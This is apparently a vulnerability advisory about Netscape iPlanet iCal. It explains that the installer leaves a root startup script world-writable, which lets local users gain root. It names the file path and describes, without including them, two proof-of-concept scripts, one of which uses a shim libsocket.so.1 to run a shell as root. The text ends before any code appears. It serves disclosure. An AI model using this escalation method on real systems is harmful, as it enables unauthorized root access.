Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability introduced in the installation process which will allow malicious local users to gain root on the system.
|
|
|
|
During the installation process a large number of files are left world readable and writable. One such file, /opt/SUNWicsrv/cal/bin/iplncal.sh is designed to be run at startup as root and is world writable by default. This allows users to modify the contents of this startup script and have it executed at boot up time or whenever the machine is re-initialized.
|
|
|
|
Proof of Concept Tools:
|
|
|
|
There are two scripts below, the first obtains an icsuser shell.
|
|
The second script is used to obtain root access the next time iCal is
|
|
stopped or started. The second script should be run once you've obtained
|
|
the shell and have become the icsuser. This second script creates a shim
|
|
libsocket.so.1 library with a modified socket() function that then
|
|
executes a shell script as root.
